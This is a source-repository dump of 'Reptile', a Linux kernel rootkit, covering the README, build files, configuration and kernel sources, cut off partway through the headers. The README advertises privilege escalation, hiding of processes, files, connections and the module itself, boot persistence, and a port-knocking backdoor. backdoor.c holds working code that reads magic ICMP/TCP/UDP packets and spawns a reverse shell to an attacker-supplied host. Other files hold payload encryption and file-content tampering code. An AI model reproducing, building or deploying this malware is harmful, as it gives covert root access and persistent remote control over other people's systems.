├── .gitignore
├── Kconfig
├── Makefile
├── README.md
├── configs
└── defconfig
├── kernel
├── Kbuild
├── backdoor.c
├── dir.c
├── encrypt
│ └── encrypt.c
├── file.c
├── include
│ ├── backdoor.h
│ ├── config.h
│ ├── dir.h
│ ├── encrypt.h
│ ├── file.h
│ ├── module.h
│ ├── network.h
│ ├── proc.h
│ ├── string_helpers.h
│ └── util.h
├── khook
│ ├── engine.c
│ ├── engine.h
│ ├── engine.lds
│ ├── internal.h
│ └── x86
│ │ ├── .gitignore
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── hook.c
│ │ ├── stub.S
│ │ ├── stub.inc
│ │ └── stub32.inc
├── kmatryoshka
│ ├── Kbuild
│ └── kmatryoshka.c
├── loader
│ └── loader.c
├── main.c
├── module.c
├── network.c
├── proc.c
├── string_helpers.c
└── util.c
├── scripts
├── bashrc
├── destringify.pl
├── installer.sh
├── kconfig
│ ├── .pc
│ │ ├── .quilt_patches
│ │ ├── .quilt_series
│ │ ├── .version
│ │ ├── 01-kconfig-kernel-to-buildroot.patch
│ │ │ ├── .timestamp
│ │ │ ├── confdata.c
│ │ │ ├── gconf.glade
│ │ │ ├── mconf.c
│ │ │ ├── qconf.cc
│ │ │ ├── zconf.tab.c_shipped
│ │ │ └── zconf.y
│ │ ├── 10-br-build-system.patch
│ │ │ ├── .timestamp
│ │ │ ├── Makefile.br
│ │ │ └── foo.h
│ │ ├── 100-kconfig-generic-env.patch
│ │ │ ├── .timestamp
│ │ │ ├── Makefile
│ │ │ ├── conf.c
│ │ │ ├── confdata.c
│ │ │ ├── expr.h
│ │ │ ├── gconf.glade
│ │ │ ├── lkc.h
│ │ │ ├── mconf.c
│ │ │ ├── merge_config.sh
│ │ │ ├── qconf.cc
│ │ │ ├── zconf.tab.c_shipped
│ │ │ └── zconf.y
│ │ ├── 101-kconfig-build.patch
│ │ │ ├── .timestamp
│ │ │ ├── GNUmakefile
│ │ │ ├── README
│ │ │ └── config.sh
│ │ ├── 11-use-mktemp-for-lxdialog.patch
│ │ │ ├── .timestamp
│ │ │ └── lxdialog
│ │ │ │ └── check-lxdialog.sh
│ │ ├── 12-fix-glade-file-path.patch
│ │ │ ├── .timestamp
│ │ │ └── gconf.c
│ │ ├── 14-support-out-of-tree-config.patch
│ │ │ ├── .timestamp
│ │ │ ├── conf.c
│ │ │ ├── confdata.c
│ │ │ └── util.c
│ │ ├── 15-fix-qconf-moc-rule.patch
│ │ │ ├── .timestamp
│ │ │ └── Makefile
│ │ ├── 16-fix-space-to-de-select-options.patch
│ │ │ ├── .timestamp
│ │ │ └── lxdialog
│ │ │ │ └── menubox.c
│ │ └── applied-patches
│ ├── GNUmakefile
│ ├── Makefile
│ ├── Makefile.br
│ ├── POTFILES.in
│ ├── README.buildroot
│ ├── check.sh
│ ├── conf.c
│ ├── confdata.c
│ ├── config.sh
│ ├── expr.c
│ ├── expr.h
│ ├── foo.h
│ ├── gconf.c
│ ├── gconf.glade
│ ├── images.c
│ ├── kxgettext.c
│ ├── list.h
│ ├── lkc.h
│ ├── lkc_proto.h
│ ├── lxdialog
│ │ ├── .gitignore
│ │ ├── BIG.FAT.WARNING
│ │ ├── check-lxdialog.sh
│ │ ├── checklist.c
│ │ ├── dialog.h
│ │ ├── inputbox.c
│ │ ├── menubox.c
│ │ ├── textbox.c
│ │ ├── util.c
│ │ └── yesno.c
│ ├── mconf.c
│ ├── menu.c
│ ├── merge_config.sh
│ ├── nconf.c
│ ├── nconf.gui.c
│ ├── nconf.h
│ ├── patches
│ │ ├── 01-kconfig-kernel-to-buildroot.patch
│ │ ├── 06-br-build-system-integration.patch
│ │ ├── 10-br-build-system.patch
│ │ ├── 100-kconfig-generic-env.patch
│ │ ├── 101-kconfig-build.patch
│ │ ├── 11-use-mktemp-for-lxdialog.patch
│ │ ├── 12-fix-glade-file-path.patch
│ │ ├── 14-support-out-of-tree-config.patch
│ │ ├── 15-fix-qconf-moc-rule.patch
│ │ ├── 16-fix-space-to-de-select-options.patch
│ │ └── series
│ ├── qconf.cc
│ ├── qconf.h
│ ├── streamline_config.pl
│ ├── symbol.c
│ ├── util.c
│ ├── zconf.gperf
│ ├── zconf.hash.c_shipped
│ ├── zconf.l
│ ├── zconf.lex.c_shipped
│ ├── zconf.tab.c_shipped
│ └── zconf.y
├── lib
│ └── Unescape.pm
├── random.sh
├── rule
└── start
└── userland
├── Makefile
├── client
├── client.c
├── listener.c
└── packet.c
├── cmd.c
├── crypto
├── aes.c
└── sha1.c
├── include
├── aes.h
├── config.h
├── custom_rol32.h
├── pel.h
├── sha1.h
└── util.h
├── shell.c
└── transport
└── pel.c
/.gitignore:
--------------------------------------------------------------------------------
1 | .vscode/
--------------------------------------------------------------------------------
/Kconfig:
--------------------------------------------------------------------------------
1 | mainmenu "Reptile's configuration"
2 |
3 | comment "Chose the features you wanna enable"
4 |
5 | config CONFIG_BACKDOOR
6 | bool "Backdoor"
7 | default y
8 |
9 | menu "Backdoor configuration"
10 | depends on CONFIG_BACKDOOR
11 |
12 | config MAGIC_VALUE
13 | string "Magic value to magic packets"
14 | default "hax0r"
15 |
16 | config PASSWORD
17 | string "Backdoor password"
18 | default "s3cr3t"
19 |
20 | config SRCPORT
21 | int "Source port of magic packets"
22 | default 666
23 | range 0 65535
24 |
25 | comment "END"
26 | endmenu
27 |
28 | config CONFIG_FILE_TAMPERING
29 | bool "Hide specific file contents"
30 | default y
31 |
32 | menu "Name used in file tampering tags"
33 | depends on CONFIG_FILE_TAMPERING
34 |
35 | config TAG_NAME
36 | string "Tag name that hide file contents"
37 | default "reptile"
38 |
39 | comment "END"
40 | endmenu
41 |
42 | config CONFIG_HIDE_PROC
43 | bool "Hide process"
44 | default y
45 |
46 | config CONFIG_HIDE_DIR
47 | bool "Hide files and directories"
48 | default y
49 |
50 | menu "Hide name (needed to create Reptile's folder)"
51 | config HIDE
52 | string "Hide name"
53 | default "reptile"
54 |
55 | comment "END"
56 | endmenu
57 |
58 | config CONFIG_HIDE_CONN
59 | bool "Hide TCP and UDP connections"
60 | default y
61 |
62 | config CONFIG_AUTO_HIDE
63 | bool "Hide kernel module itself"
64 | default y
65 |
66 | config CONFIG_GIVE_ROOT
67 | bool "Enable give root to a process run by an unprivileged user"
68 | default y
69 |
70 | config CONFIG_RSHELL_ON_START
71 | bool "Would you like to launch the reverse shell daemon on start?"
72 | default n
73 |
74 | menu "Reverse shell daemon configuration"
75 | depends on CONFIG_RSHELL_ON_START
76 |
77 | config LHOST
78 | string "Host to receive the reverse shell"
79 | default "127.0.0.1"
80 |
81 | config LPORT
82 | string "Port get the reverse shell"
83 | default "4444"
84 |
85 | config INTERVAL
86 | string "How long is your interval? (in seconds)"
87 | default "1800"
88 |
89 | comment "END"
90 | endmenu
91 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | CC := gcc
2 | RM = rm -rf
3 | SHELL := /bin/bash
4 | PWD := $(shell pwd)
5 | KERNEL := /lib/modules/$(shell uname -r)/build
6 | CLIENT_DIR ?= $(PWD)/userland
7 | CONFIG_SCRIPT ?= $(PWD)/scripts/kconfig/config.sh
8 | CONFIG_FILE ?= $(PWD)/.config
9 | GEN_RANDOM ?= $(PWD)/scripts/random.sh
10 | BUILD_DIR ?= $(PWD)/output
11 | BUILD_DIR_MAKEFILE ?= $(BUILD_DIR)/Makefile
12 | MODULE_DIR ?= $(PWD)/kernel
13 | ENCRYPT_SRC ?= $(PWD)/kernel/encrypt/encrypt.c
14 | ENCRYPT ?= $(BUILD_DIR)/encrypt
15 | KMATRYOSHKA_DIR ?= $(PWD)/kernel/kmatryoshka
16 | PARASITE ?= $(BUILD_DIR)/reptile_module.ko
17 | RAND1 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
18 | RAND2 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
19 | INCLUDE ?= -I$(PWD)/kernel/include
20 | LOADER ?= $(PWD)/kernel/loader/loader.c
21 | INSTALLER ?= $(PWD)/scripts/installer.sh
22 |
23 | all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
24 |
25 | reptile: $(LOADER)
26 | @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
27 | @ echo " CC $(BUILD_DIR)/$@"
28 | @ $(CC) $(INCLUDE) -I$(BUILD_DIR) $< -o $(BUILD_DIR)/$@
29 |
30 | kmatryoshka:
31 | @ $(ENCRYPT) $(PARASITE) $(RAND1) > $(BUILD_DIR)/parasite_blob.inc
32 | @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(KMATRYOSHKA_DIR)
33 |
34 | module:
35 | @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(MODULE_DIR)
36 |
37 | $(ENCRYPT): $(ENCRYPT_SRC)
38 | @ echo " CC $(ENCRYPT)"
39 | @ $(CC) $(INCLUDE) -std=c99 $< -o $@
40 |
41 | $(BUILD_DIR):
42 | @ mkdir -p $(BUILD_DIR)
43 |
44 | $(BUILD_DIR_MAKEFILE): $(BUILD_DIR)
45 | @ touch $@
46 |
47 | config:
48 | @ $(SHELL) $(CONFIG_SCRIPT) $@
49 | @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
50 |
51 | %config:
52 | @ $(SHELL) $(CONFIG_SCRIPT) $@
53 | @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
54 |
55 | userland_bin:
56 | @ $(MAKE) -C $(CLIENT_DIR) EXTRA_FLAGS=-D_REPTILE_
57 |
58 | install:
59 | @ $(SHELL) $(INSTALLER)
60 |
61 | client: $(BUILD_DIR)
62 | @ $(MAKE) -C $(CLIENT_DIR) packet listener client
63 |
64 | .PHONY : clean module config
65 |
66 | clean:
67 | @ $(RM) $(BUILD_DIR) $(CONFIG_FILE)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Reptile
2 |
3 |
4 |
5 |
6 |
7 |
8 | ## Tested on
9 |
10 | **Debian 9**: 4.9.0-8-amd64
11 | **Debian 10**: 4.19.0-8-amd64
12 | **Ubuntu 18.04.1 LTS**: 4.15.0-38-generic
13 | **Kali Linux**: 4.18.0-kali2-amd64
14 | **Centos 6.10**: 2.6.32-754.6.3.el6.x86_64
15 | **Centos 7**: 3.10.0-862.3.2.el7.x86_64
16 | **Centos 8**: 4.18.0-147.5.1.el8_1.x86_64
17 |
18 | ## Features
19 |
20 | - Give root to unprivileged users
21 | - Hide files and directories
22 | - Hide processes
23 | - Hide himself
24 | - Hide TCP/UDP connections
25 | - Hidden boot persistence
26 | - File content tampering
27 | - Some obfuscation techniques
28 | - ICMP/UDP/TCP port-knocking backdoor
29 | - Full TTY/PTY shell with file transfer
30 | - Client to handle Reptile Shell
31 | - Shell connect back each X times (not default)
32 |
33 | ## Install
34 | ```
35 | apt install build-essential libncurses-dev linux-headers-$(uname -r)
36 | git clone https://github.com/f0rb1dd3n/Reptile.git
37 | cd Reptile
38 | make menuconfig # or 'make config' or even 'make defconfig'
39 | make
40 | make install
41 | ```
42 | More details about the installation see [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Install)
43 | ## Uninstall
44 |
45 | When you got a sucessfully installation, the way to remove that will be shown in the screen
46 |
47 | ## Usage
48 |
49 | See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Usage) to usage details. So, read the fucking manual before opening an issue!
50 |
51 | ## Warning
52 |
53 | Some functions of this module is based on another rootkits. Please see the references!
54 |
55 | ## References
56 |
57 | - “[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)”, The Hackers Choice (THC), 1999;
58 | - https://github.com/mncoppola/suterusu
59 | - https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
60 | - https://github.com/creaktive/tsh
61 | - https://github.com/brenns10/lsh
62 |
63 | ## Thanks
64 |
65 | Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader.
66 |
67 | ## Disclaimer
68 |
69 | If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/configs/defconfig:
--------------------------------------------------------------------------------
1 | #
2 | # Automatically generated file; DO NOT EDIT.
3 | # Reptile's configuration
4 | #
5 |
6 | #
7 | # Chose the features you wanna enable
8 | #
9 | CONFIG_BACKDOOR=y
10 |
11 | #
12 | # Backdoor configuration
13 | #
14 | MAGIC_VALUE="hax0r"
15 | PASSWORD="s3cr3t"
16 | SRCPORT=666
17 |
18 | #
19 | # END
20 | #
21 | CONFIG_FILE_TAMPERING=y
22 |
23 | #
24 | # Name used in file tampering tags
25 | #
26 | TAG_NAME="reptile"
27 |
28 | #
29 | # END
30 | #
31 | CONFIG_HIDE_PROC=y
32 | CONFIG_HIDE_DIR=y
33 |
34 | #
35 | # Hide name (needed to create Reptile's folder)
36 | #
37 | HIDE="reptile"
38 |
39 | #
40 | # END
41 | #
42 | CONFIG_HIDE_CONN=y
43 | CONFIG_AUTO_HIDE=y
44 | CONFIG_GIVE_ROOT=y
45 | # CONFIG_RSHELL_ON_START is not set
46 |
--------------------------------------------------------------------------------
/kernel/Kbuild:
--------------------------------------------------------------------------------
1 | MODNAME ?= reptile_module
2 | CONFIG_FILE := $(src)/../.config
3 |
4 | include $(CONFIG_FILE)
5 |
6 | ccflags-y += -I$(src)/include -Werror -fno-stack-protector -fomit-frame-pointer
7 | ldflags-y += -T$(src)/khook/engine.lds
8 |
9 | obj-m += $(MODNAME).o
10 | $(MODNAME)-y += main.o string_helpers.o util.o
11 |
12 | $(MODNAME)-$(CONFIG_BACKDOOR) += backdoor.o
13 | $(MODNAME)-$(CONFIG_HIDE_PROC) += proc.o
14 | $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
15 | $(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
16 | $(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
17 | $(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
18 |
19 | ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
20 | ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"
21 | ccflags-$(CONFIG_BACKDOOR) += -DPASSWORD=\"$(PASSWORD)\"
22 | ccflags-$(CONFIG_BACKDOOR) += -DSRCPORT=$(SRCPORT)
23 |
24 | ccflags-$(CONFIG_FILE_TAMPERING) += -DCONFIG_FILE_TAMPERING
25 | ccflags-$(CONFIG_FILE_TAMPERING) += -DTAG_NAME=\"$(TAG_NAME)\"
26 |
27 | ccflags-$(CONFIG_HIDE_DIR) += -DCONFIG_HIDE_DIR
28 | ccflags-$(CONFIG_HIDE_DIR) += -DHIDE=\"$(HIDE)\"
29 |
30 | ccflags-$(CONFIG_HIDE_PROC) += -DCONFIG_HIDE_PROC
31 | ccflags-$(CONFIG_HIDE_CONN) += -DCONFIG_HIDE_CONN
32 | ccflags-$(CONFIG_AUTO_HIDE) += -DCONFIG_AUTO_HIDE
33 | ccflags-$(CONFIG_GIVE_ROOT) += -DCONFIG_GIVE_ROOT
34 |
35 | ccflags-y += -DAUTH=$(AUTH)
36 | ccflags-y += -DHTUA=$(HTUA)
37 |
38 | KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS))
39 | KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS))
--------------------------------------------------------------------------------
/kernel/backdoor.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #include "util.h"
11 | #include "config.h"
12 | #include "backdoor.h"
13 |
14 | struct shell_task {
15 | struct work_struct work;
16 | char *ip;
17 | char *port;
18 | };
19 |
20 | void shell_execer(struct work_struct *work)
21 | {
22 | struct shell_task *task = (struct shell_task *)work;
23 | char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
24 |
25 | exec(argv);
26 |
27 | kfree(task->ip);
28 | kfree(task->port);
29 | kfree(task);
30 | }
31 |
32 | int shell_exec_queue(char *ip, char *port)
33 | {
34 | struct shell_task *task;
35 |
36 | task = kmalloc(sizeof(*task), GFP_KERNEL);
37 |
38 | if (!task)
39 | return 0;
40 |
41 | task->ip = kstrdup(ip, GFP_KERNEL);
42 | if (!task->ip) {
43 | kfree(task);
44 | return 0;
45 | }
46 |
47 | task->port = kstrdup(port, GFP_KERNEL);
48 | if (!task->port) {
49 | kfree(task->ip);
50 | kfree(task);
51 | return 0;
52 | }
53 |
54 | INIT_WORK(&task->work, &shell_execer);
55 |
56 | return schedule_work(&task->work);
57 | }
58 |
59 | #define DROP 0
60 | #define ACCEPT 1
61 |
62 | unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
63 | {
64 | const struct iphdr *ip_header;
65 | const struct icmphdr *icmp_header;
66 | const struct tcphdr *tcp_header;
67 | const struct udphdr *udp_header;
68 | struct iphdr _iph;
69 | struct icmphdr _icmph;
70 | struct tcphdr _tcph;
71 | struct udphdr _udph;
72 | const char *data = NULL;
73 | char *_data, *argv_str, **argv;
74 | int size, str_size;
75 |
76 | if (!socket_buffer)
77 | return ACCEPT;
78 |
79 | ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
80 |
81 | if (!ip_header)
82 | return ACCEPT;
83 |
84 | if (!ip_header->protocol)
85 | return ACCEPT;
86 |
87 | if (htons(ip_header->id) != IPID)
88 | return ACCEPT;
89 |
90 | if (ip_header->protocol == IPPROTO_TCP) {
91 | tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
92 |
93 | if (!tcp_header)
94 | return ACCEPT;
95 |
96 | if (htons(tcp_header->source) != SRCPORT)
97 | return ACCEPT;
98 |
99 | if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
100 | htons(tcp_header->window) == WIN) {
101 | size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
102 |
103 | _data = kmalloc(size, GFP_KERNEL);
104 |
105 | if (!_data)
106 | return ACCEPT;
107 |
108 | str_size = size - strlen(MAGIC_VALUE);
109 | argv_str = kmalloc(str_size, GFP_KERNEL);
110 |
111 | if (!argv_str) {
112 | kfree(_data);
113 | return ACCEPT;
114 | }
115 |
116 | data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
117 |
118 | if (!data) {
119 | kfree(_data);
120 | kfree(argv_str);
121 | return ACCEPT;
122 | }
123 |
124 | if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
125 |
126 | memzero_explicit(argv_str, str_size);
127 | memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
128 | do_decrypt(argv_str, str_size - 1, KEY);
129 |
130 | argv = argv_split(GFP_KERNEL, argv_str, NULL);
131 |
132 | if (argv) {
133 | shell_exec_queue(argv[0], argv[1]);
134 | argv_free(argv);
135 | }
136 |
137 | kfree(_data);
138 | kfree(argv_str);
139 |
140 | return DROP;
141 | }
142 |
143 | kfree(_data);
144 | kfree(argv_str);
145 | }
146 | }
147 |
148 | if (ip_header->protocol == IPPROTO_ICMP) {
149 | icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
150 |
151 | if (!icmp_header)
152 | return ACCEPT;
153 |
154 | if (icmp_header->code != ICMP_ECHO)
155 | return ACCEPT;
156 |
157 | if (htons(icmp_header->un.echo.sequence) == SEQ &&
158 | htons(icmp_header->un.echo.id) == WIN) {
159 |
160 | size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
161 |
162 | _data = kmalloc(size, GFP_KERNEL);
163 |
164 | if (!_data)
165 | return ACCEPT;
166 |
167 | str_size = size - strlen(MAGIC_VALUE);
168 | argv_str = kmalloc(str_size, GFP_KERNEL);
169 |
170 | if (!argv_str) {
171 | kfree(_data);
172 | return ACCEPT;
173 | }
174 |
175 | data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
176 |
177 | if (!data) {
178 | kfree(_data);
179 | kfree(argv_str);
180 | return ACCEPT;
181 | }
182 |
183 | if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
184 |
185 | memzero_explicit(argv_str, str_size);
186 | memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
187 | do_decrypt(argv_str, str_size - 1, KEY);
188 |
189 | argv = argv_split(GFP_KERNEL, argv_str, NULL);
190 |
191 | if (argv) {
192 | shell_exec_queue(argv[0], argv[1]);
193 | argv_free(argv);
194 | }
195 |
196 | kfree(_data);
197 | kfree(argv_str);
198 |
199 | return DROP;
200 | }
201 |
202 | kfree(_data);
203 | kfree(argv_str);
204 | }
205 | }
206 |
207 | if (ip_header->protocol == IPPROTO_UDP) {
208 | udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
209 |
210 | if (!udp_header)
211 | return ACCEPT;
212 |
213 | if (htons(udp_header->source) != SRCPORT)
214 | return ACCEPT;
215 |
216 | if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
217 |
218 | size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
219 |
220 | _data = kmalloc(size, GFP_KERNEL);
221 |
222 | if (!_data)
223 | return ACCEPT;
224 |
225 | str_size = size - strlen(MAGIC_VALUE);
226 | argv_str = kmalloc(str_size, GFP_KERNEL);
227 |
228 | if (!argv_str) {
229 | kfree(_data);
230 | return ACCEPT;
231 | }
232 |
233 | data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
234 |
235 | if (!data) {
236 | kfree(_data);
237 | kfree(argv_str);
238 | return ACCEPT;
239 | }
240 |
241 | if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
242 |
243 | memzero_explicit(argv_str, str_size);
244 | memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
245 | do_decrypt(argv_str, str_size - 1, KEY);
246 |
247 | argv = argv_split(GFP_KERNEL, argv_str, NULL);
248 |
249 | if (argv) {
250 | shell_exec_queue(argv[0], argv[1]);
251 | argv_free(argv);
252 | }
253 |
254 | kfree(_data);
255 | kfree(argv_str);
256 |
257 | return DROP;
258 | }
259 |
260 | kfree(_data);
261 | kfree(argv_str);
262 | }
263 | }
264 |
265 | return ACCEPT;
266 | }
--------------------------------------------------------------------------------
/kernel/dir.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include "dir.h"
8 | #include "config.h"
9 |
10 | int is_name_invisible(const char __user *filename)
11 | {
12 | int ret = 0;
13 | char *name = kmalloc(PATH_MAX, GFP_KERNEL);
14 |
15 | if (strncpy_from_user(name, filename, PATH_MAX) > 0)
16 | if (strstr(name, HIDE))
17 | ret = 1;
18 |
19 | kfree(name);
20 | return ret;
21 | }
--------------------------------------------------------------------------------
/kernel/encrypt/encrypt.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "encrypt.h"
6 |
7 | static long get_file_size(FILE *file)
8 | {
9 | long size;
10 | fseek(file, 0, SEEK_END);
11 | size = ftell(file);
12 | rewind(file);
13 | return size;
14 | }
15 |
16 | int main(int argc, char **argv)
17 | {
18 | if (argc != 3) {
19 | fprintf(stderr, "USAGE: encrypt \n");
20 | exit(-1);
21 | }
22 |
23 | FILE *file = fopen(argv[1], "rb");
24 | if (!file) {
25 | fprintf(stderr, "Can't open %s for reading\n", argv[1]);
26 | exit(-1);
27 | }
28 |
29 | long size = get_file_size(file);
30 | unsigned char *data = malloc(size);
31 | if (!data) {
32 | fprintf(stderr, "Can't allocate memory\n");
33 | exit(-1);
34 | }
35 |
36 | if (fread(data, size, 1, file) != 1) {
37 | fprintf(stderr, "Can't read data from file\n");
38 | exit(-1);
39 | }
40 |
41 | fclose(file);
42 |
43 | uint32_t key = strtol(argv[2], NULL, 16);
44 | do_encrypt(data, size, key);
45 |
46 | printf("#define DECRYPT_KEY 0x%08x\n", key);
47 | for (int i = 0; i < size; i++) {
48 | printf("0x%02x,", data[i]);
49 | }
50 |
51 | return 0;
52 | }
53 |
--------------------------------------------------------------------------------
/kernel/file.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "file.h"
5 |
6 | int file_check(void *arg, ssize_t size)
7 | {
8 | int ret = 0;
9 | char *buf;
10 |
11 | if ((size <= 0) || (size >= SSIZE_MAX))
12 | return ret;
13 |
14 | buf = (char *)kmalloc(size + 1, GFP_KERNEL);
15 | if (!buf)
16 | return ret;
17 |
18 | if (copy_from_user((void *)buf, (void *)arg, size))
19 | goto out;
20 |
21 | buf[size] = 0;
22 |
23 | if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
24 | ret = 1;
25 |
26 | out:
27 | kfree(buf);
28 | return ret;
29 | }
30 |
31 | int hide_content(void *arg, ssize_t size)
32 | {
33 | char *buf, *p1, *p2;
34 | int i, newret;
35 |
36 | buf = (char *)kmalloc(size, GFP_KERNEL);
37 | if (!buf)
38 | return (-1);
39 |
40 | if (copy_from_user((void *)buf, (void *)arg, size)) {
41 | kfree(buf);
42 | return size;
43 | }
44 |
45 | p1 = strstr(buf, HIDETAGIN);
46 | p2 = strstr(buf, HIDETAGOUT);
47 | p2 += strlen(HIDETAGOUT);
48 |
49 | if (p1 >= p2 || !p1 || !p2) {
50 | kfree(buf);
51 | return size;
52 | }
53 |
54 | i = size - (p2 - buf);
55 | memmove((void *)p1, (void *)p2, i);
56 | newret = size - (p2 - p1);
57 |
58 | if (copy_to_user((void *)arg, (void *)buf, newret)) {
59 | kfree(buf);
60 | return size;
61 | }
62 |
63 | kfree(buf);
64 | return newret;
65 | }
--------------------------------------------------------------------------------
/kernel/include/backdoor.h:
--------------------------------------------------------------------------------
1 | unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
--------------------------------------------------------------------------------
/kernel/include/config.h:
--------------------------------------------------------------------------------
1 | /*
2 | * You can change the configurations in this file if you want.
3 | * But you need to make sure you'll change it in the client too.
4 | *
5 | * FIXME: randomly generate KEY, IPID, SEQ and WIN.
6 | *
7 | * Note: I know it is not a good practice to have those configurations
8 | * constants, but since there is already known issues in Reptile, this
9 | * will be the least of your problems. It will be updated next version!
10 | *
11 | */
12 |
13 | #ifdef CONFIG_BACKDOOR
14 | # define SHELL_PATH "/"HIDE"/"HIDE"_shell"
15 | # define KEY 0x6de56d3b
16 | # define IPID 3429
17 | # define SEQ 15123
18 | # define WIN 9965
19 | #endif
20 |
21 | #ifdef CONFIG_FILE_TAMPERING
22 | # define HIDETAGIN "#<"TAG_NAME">"
23 | # define HIDETAGOUT "#"TAG_NAME">"
24 | #endif
25 |
26 | #define START_SCRIPT "/"HIDE"/"HIDE"_start"
--------------------------------------------------------------------------------
/kernel/include/dir.h:
--------------------------------------------------------------------------------
1 | int is_name_invisible(const char __user *filename);
--------------------------------------------------------------------------------
/kernel/include/encrypt.h:
--------------------------------------------------------------------------------
1 | #ifndef __LOADER_H__
2 | #define __LOADER_H__
3 |
4 | #define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
5 | #define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
6 |
7 | static inline unsigned int custom_rol32(unsigned int val, int n)
8 | {
9 | return ((val << n) | (val >> (32 - n)));
10 | }
11 |
12 | static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
13 | {
14 | while (len > sizeof(key)) {
15 | *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
16 | len -= sizeof(key), ptr += sizeof(key);
17 | }
18 | }
19 |
20 | #endif
21 |
--------------------------------------------------------------------------------
/kernel/include/file.h:
--------------------------------------------------------------------------------
1 | #include "config.h"
2 |
3 | #define SSIZE_MAX 32767
4 |
5 | extern int file_tampering_flag;
6 |
7 | int file_check(void *arg, ssize_t size);
8 | int hide_content(void *arg, ssize_t size);
9 |
10 | static inline void file_tampering(void)
11 | {
12 | if (file_tampering_flag)
13 | file_tampering_flag = 0;
14 | else
15 | file_tampering_flag = 1;
16 | }
--------------------------------------------------------------------------------
/kernel/include/module.h:
--------------------------------------------------------------------------------
1 | void hide_module(void);
--------------------------------------------------------------------------------
/kernel/include/network.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | struct hidden_conn {
4 | struct sockaddr_in addr;
5 | struct list_head list;
6 | };
7 |
8 | extern struct list_head hidden_conn_list;
9 |
10 | void network_hide_add(struct sockaddr_in addr);
11 | void network_hide_remove(struct sockaddr_in addr);
12 | //void hide_conn(char *ip_str);
--------------------------------------------------------------------------------
/kernel/include/proc.h:
--------------------------------------------------------------------------------
1 | #define FLAG 0x80000000
2 |
3 | struct tgid_iter {
4 | unsigned int tgid;
5 | struct task_struct *task;
6 | };
7 |
8 | static inline int is_task_invisible(struct task_struct *task)
9 | {
10 | return task->flags & FLAG;
11 | }
12 |
13 | int flag_tasks(pid_t pid, int set);
14 | int is_proc_invisible(pid_t pid);
15 | int is_proc_invisible_2(const char __user *filename);
16 | //void hide_proc(char *pid_str);
17 | void hide_proc(pid_t pid);
--------------------------------------------------------------------------------
/kernel/include/string_helpers.h:
--------------------------------------------------------------------------------
1 | #include
2 |
